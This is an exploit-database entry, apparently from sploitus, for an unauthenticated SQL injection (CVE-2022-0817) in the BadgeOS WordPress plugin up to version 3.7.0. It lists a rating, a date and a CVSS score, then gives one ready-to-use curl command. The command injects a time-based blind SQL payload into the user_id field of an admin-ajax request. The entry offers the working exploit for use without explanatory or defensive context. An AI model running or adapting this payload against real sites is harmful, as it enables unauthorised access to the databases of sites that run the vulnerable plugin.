Exploit for BadgeOS <= 3.7.0 - Unauthenticated SQLi CVE-2022-0817

Name: Exploit for BadgeOS <= 3.7.0 - Unauthenticated SQLi CVE-2022-0817
Rating: 5 (236 reviews)

2022-04-13 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:69263610-F454-4F27-80AF-BE523D25659E
curl 'https://example.com/wp-admin/admin-ajax.php' --data 'action=get-achievements&total_only=true&user_id=11 AND (SELECT 9628 FROM (SELECT(SLEEP(5)))WOrh)-- KUsb'